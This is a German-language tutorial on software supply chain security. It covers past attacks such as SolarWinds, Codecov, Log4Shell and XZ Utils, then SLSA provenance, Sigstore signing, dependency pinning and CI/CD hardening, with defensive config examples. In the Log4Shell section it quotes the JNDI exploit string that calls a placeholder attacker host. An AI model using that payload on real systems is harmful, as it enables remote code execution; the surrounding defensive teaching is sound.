Software Supply Chain Security: SLSA, Sigstore und Dependency Management

Software Supply Chain Security ist nach SolarWinds (2020), Codecov (2021), Log4Shell (2021), Kaseya (2021) und XZ Utils (2024) zu einem zentralen Thema geworden. Angreifer kompromittieren nicht mehr das Zielunternehmen direkt - sie kompromittieren die Softwarelieferkette: Build-Systeme, Paket-Registries, Open-Source-Pakete, CI/CD-Pipelines. Das Ergebnis: eine einzige kompromittierte Bibliothek → tausende betroffene Unternehmen.

Bekannte Supply Chain Angriffe

SolarWinds (Dezember 2020): APT29 (Cozy Bear, russischer SVR) kompromittierte das Orion Build-System von SolarWinds und injizierte die SUNBURST-Backdoor in offizielle Software-Updates. Etwa 18.000 Unternehmen - darunter US-Regierungsbehörden und Fortune-500-Unternehmen - installierten das kompromittierte Update. Lektion: Build-System-Sicherheit ist kritisch; signierte Updates allein reichen nicht.

Codecov (April 2021): Angreifer änderten das Codecov Bash Uploader Script, um CI/CD-Umgebungsvariablen zu exfiltrieren. Tausende Pipelines schickten dabei ihre kompletten ENV VARS inklusive API Keys und Tokens. Betroffen waren Twilio, Atlassian und HashiCorp. Schutz: externe Scripts immer mit Hash-Verifikation nutzen (curl ... | sha256sum --check).

Log4Shell / Log4j (Dezember 2021, CVE-2021-44228, CVSS 10.0): Das JNDI-Lookup-Feature in Log4j 2.x wurde missbraucht. Die Exploit-Zeichenkette ${jndi:ldap://attacker.com/exploit} reichte für Remote Code Execution aus. Da fast jede Java-Applikation Log4j transitiv einbindet, war die Verbreitung enorm. Lektion: transitive Dependencies sind kritisch; SBOMs hätten die Betroffenheit sofort klärbar gemacht.

XZ Utils (März 2024, CVE-2024-3094): Unter dem Pseudonym "Jia Tan" verbrachte ein Angreifer zwei Jahre damit, sich als vertrauenswürdiger Contributor zu etablieren. Die Backdoor wurde im Release-Tarball eingefügt, nicht im Git-Repo - was zeigt, dass Artefakt und Source Code nicht identisch sein müssen. Entdeckt wurde sie zufällig durch eine ungewöhnliche 250ms Login-Verzögerung im SSH-Prozess. Lektion: Code-Provenance zwischen Artefakt und Source Code ist kritisch.

Typosquatting (laufend): Pakete wie "colourama" (statt "colorama") oder "request" (statt "requests") bieten identische Funktionalität plus Malware. Erkennung durch pip-audit, Safety CLI und Dependabot.

SLSA - Supply-chain Levels for Software Artifacts

SLSA (ausgesprochen "salsa") ist ein Framework von Google und der CNCF, das durch Build-Provenance Manipulationsschutz für Software-Artefakte schafft.

• SLSA Level 1 - Provenance vorhanden: Das Build-System generiert Metadaten über den Build (wer hat gebaut, wann, von welchem Quellcode). Schützt gegen unbeabsichtigte Fehler.
• SLSA Level 2 - Build Service + signierte Provenance: Ein gehosteter Build-Service (GitHub Actions, Cloud Build, GitLab CI) generiert und signiert die Provenance. Schützt gegen einzelne kompromittierte Entwickler-Workstations.
• SLSA Level 3 - Gehärteter Build-Service: Ephemere, auditierbare Build-Umgebung ohne externen Einfluss während des Builds. Zwei-Parteien-Genehmigung für Source-Änderungen. Schützt gegen kompromittierte Build-Systeme (SolarWinds-ähnlich).

Das SLSA Provenance-Dokument enthält:

{
  "_type": "https://in-toto.io/Statement/v0.1",
  "predicateType": "https://slsa.dev/provenance/v1",
  "subject": [{
    "name": "myapp:v1.2.3",
    "digest": {"sha256": "abc123..."}
  }],
  "predicate": {
    "buildDefinition": {
      "buildType": "https://github.com/actions/build@v1",
      "externalParameters": {
        "ref": "refs/tags/v1.2.3",
        "repository": "https://github.com/org/myapp"
      }
    },
    "runDetails": {
      "builder": {"id": "https://github.com/actions/runner"},
      "buildMetadata": {
        "invocationID": "https://github.com/org/myapp/actions/runs/12345"
      }
    }
  }
}

# GitHub Actions - SLSA Level 3 automatisch:
jobs:
  build:
    uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v2
    permissions:
      actions: read
      id-token: write
      contents: write
    with:
      base64-subjects: "${{ needs.build.outputs.hashes }}"
# Generiert automatisch SLSA Level 3 Provenance + SBOM!

# slsa-verifier (Consumer-Seite):
slsa-verifier verify-artifact myapp.tar.gz \
  --provenance-path myapp.tar.gz.intoto.jsonl \
  --source-uri "github.com/org/myapp" \
  --source-tag "v1.2.3"
# Output: PASSED: Provenance is valid!

Sigstore - Transparentes Code-Signing

Sigstore ist ein CNCF-Projekt für Software-Signing ohne eigenes Schlüssel-Management. Die Kernkomponenten: Cosign für Container-Image-Signierung, Fulcio als OIDC-basierte Certificate Authority (kurzlebige Zertifikate), Rekor als unveränderlicher Transparency Log und Gitsign für Git-Commit-Signierung.

# Keyless signieren (kein eigenes Schlüsselpaar nötig):
cosign sign ghcr.io/myorg/myapp:v1.2.3
# Öffnet Browser für OIDC-Login, Cosign erhält 10-Minuten-Zertifikat von Fulcio

# Verifikation:
cosign verify ghcr.io/myorg/myapp:v1.2.3 \
  --certificate-identity="https://github.com/myorg/myapp/.github/workflows/build.yml@refs/tags/v1.2.3" \
  --certificate-oidc-issuer="https://token.actions.githubusercontent.com"

Rekor speichert alle Signaturen unveränderlich und öffentlich einsehbar - ähnlich den Certificate Transparency Logs für TLS. Wichtig: Keyless bedeutet, dass die E-Mail-Adresse des Signers im Log sichtbar ist. Für private Releases sollten eigene Schlüssel genutzt werden.

# Kubernetes Policy (Kyverno) - nur signierte Images erlauben:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-signed-images
spec:
  validationFailureAction: Enforce
  rules:
  - name: check-image-signature
    match:
      resources:
        kinds: [Pod]
    verifyImages:
    - imageReferences: ["ghcr.io/myorg/*"]
      attestors:
      - count: 1
        entries:
        - keyless:
            subject: "https://github.com/myorg/myapp/.github/workflows/*"
            issuer: "https://token.actions.githubusercontent.com"

Dependency Security

Dependency Pinning verhindert, dass ein kompromittiertes Update automatisch eingespielt wird. Die Stufen reichen von exakten Versionen (requests==2.31.0) über Hash-basiertes Pinning (erzwungen durch pip install --require-hashes) bis zu Lock-Dateien (package-lock.json, pnpm-lock.yaml, go.sum), die exakte Versionen und Hashes für alle transitiven Abhängigkeiten festhalten. npm ci und pnpm install --frozen-lockfile lehnen abweichende Lock-Dateien mit einem Fehler ab.

Gegen Dependency Confusion Attacks (Angreifer publiziert ein öffentliches Paket mit demselben Namen wie ein internes) schützt die Konfiguration eines privaten Package Registry:

# npm .npmrc - @myorg immer vom internen Registry:
@myorg:registry=https://nexus.intern.firma.de/repository/npm/
always-auth=true

# GitHub Actions - Dependency Review bei Pull Requests:
name: Dependency Review
on: [pull_request]
jobs:
  review:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/dependency-review-action@v4
        with:
          fail-on-severity: high

Werkzeuge für automatische Vulnerability Alerts: Dependabot (GitHub, automatische PRs), Renovate (OSS, intelligentere Upgrade-Strategie), Snyk (kommerziell), pip-audit (lokal, kostenlos) und npm audit fix für automatische Fixes. Zum Schutz vor Typosquatting sollten alle neuen Packages vor der Installation manuell geprüft und interne Packages immer mit @org-Namespace versehen werden.

CI/CD Pipeline Hardening

Secrets Management: Secrets gehören niemals in Code, Job-Logs oder Artefakte — immer über einen Secret Store injizieren. Das Principle of Least Privilege gilt auch für Secrets: Deployment-Secrets sollten nur für den main-Branch und manuell getriggerte Workflows verfügbar sein. Noch besser ist OIDC statt langlebiger Access Keys — das Token ist kurzlebig (15 Minuten) und kein Schlüssel wird persistent gespeichert:

# GitHub Actions - OIDC statt AWS Access Keys:
permissions:
  id-token: write
steps:
- uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::123:role/GitHubActions
    aws-region: eu-central-1

Hermetic Builds: Die Build-Umgebung muss vollständig deterministisch sein — alle Dependencies gepinnt (exakte Versionen und Hashes), kein Internet-Zugriff während des Builds und Reproducible Builds als Ziel (gleicher Input ergibt gleichen Output).

Build Isolation: Jeder Build benötigt eine frische, ephemere Umgebung. Persistente Build-Worker sind ein Risiko, da sie kompromittiert sein könnten. GitHub Actions startet für jeden Job einen neuen Container; bei Self-Hosted Runnern müssen Ephemeral Runners konfiguriert werden.

Code Review Enforcement: Branch Protection Rules in GitHub sollten mindestens zwei Reviewer (4-Augen-Prinzip), obligatorische grüne CI-Checks und ausschließlich PR-basierte Änderungen (kein direkter Push auf main) erzwingen. Git-Commit-Signierung lässt sich mit Sigstore Gitsign keyless umsetzen:

git config --global commit.gpgsign true
git config --global gpg.format x509
git config --global gpg.x509.program gitsign
git config --global gitsign.connectorID https://oauth2.sigstore.dev/auth/github

Dependency Confusion Prevention: Interne npm-Packages sollten "private": true in der package.json setzen, damit sie nie versehentlich auf dem öffentlichen Registry landen. Scoped Packages mit @myorg/-Namespace in Kombination mit einem konfigurierten internen Registry (.npmrc) schützen zusätzlich. Bei Python empfiehlt sich ein Firmenprefix im Paketnamen (z.B. myorg_internal_lib), der schwer zu squatten ist.